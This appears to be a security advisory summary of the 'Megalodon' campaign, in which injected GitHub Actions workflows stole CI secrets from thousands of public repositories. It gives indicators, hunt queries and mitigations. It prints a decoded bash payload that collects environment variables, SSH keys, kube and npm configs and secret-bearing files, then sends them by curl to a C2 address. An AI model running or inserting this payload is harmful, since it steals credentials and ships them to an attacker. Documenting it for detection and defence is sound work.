Megalodon: Mass GitHub Actions Secret Exfiltration Across 5,500+ Public Repositories - StepSecurity

What it is

The Megalodon campaign (May 18, 2026), as documented by StepSecurity. This adds the concrete indicators the catalog summary omits: the C2 address, detection queries, affected version ranges, and a correction to how the malicious files are actually named.

How it works

The injected workflow files use ordinary names (ci.yml, docker-community-worker-push-latest.yml) — it is the name: field inside the YAML that reads SysDiag (mass variant) or Optimize-Build (targeted variant). Both carry an identical base64-encoded bash payload differing only in trigger. The technique is direct Poisoned Pipeline Execution (d-PPE), pushing straight to the default branch with no PR, mapped to MITRE ATT&CK T1195.002. Representative decoded payload:

DATA=$(env; cat /proc/1/environ 2>/dev/null; \
  cat ~/.ssh/id_* 2>/dev/null; \
  cat ~/.kube/config 2>/dev/null; \
  cat ~/.npmrc 2>/dev/null; \
  grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY|BEGIN RSA)" . 2>/dev/null)
echo "$DATA" | gzip | curl -s -X POST \
  https://216.126.225.129:8443/collect \
  -H "Content-Type: application/octet-stream" \
  --data-binary @-

The C2 endpoint is 216.126.225.129:8443/collect — a hard IOC to block/hunt for, not just "a hardcoded IP." The step exits cleanly, and ephemeral runners leave minimal forensic trace.

Preconditions / Affected

Repositories with weak branch protection (no mandatory PR review) and any workflow granting id-token: write (mints cloud OIDC tokens). Scope: 5,561 repositories, 5,718 malicious commits (SafeDep dataset megalodon-campaign-commits.csv). Confirmed downstream: npm @tiledesk/tiledesk-server versions 2.18.6–2.18.12 (backdoor propagated to consumers via the registry). Also named: Black-Iron-Project (8 repos), WISE-Community.

What to do

Hunt across your org with GitHub code search:

• name: SysDiag in workflow files (mass variant)
• name: Optimize-Build in workflow files (targeted variant)
• filename SysDiag.yml in .github/workflows/
• filename Optimize-Build.yml in .github/workflows/

Block/alert on outbound traffic to 216.126.225.129:8443. Because filenames are legitimate, hunt on the name: field, not filename alone. Pin/audit @tiledesk/tiledesk-server to a version outside 2.18.6–2.18.12. Enforce mandatory PR review on the default branch — the page notes this is the structural control that downgrades a d-PPE opportunity to the harder i-PPE (attacker must trick a maintainer into merging).

Caveats

StepSecurity states analysis is ongoing; the post is being updated with "full payload details, complete indicators of compromise, and additional affected repository data." The decoded payload shown is labeled representative, not the verbatim sample.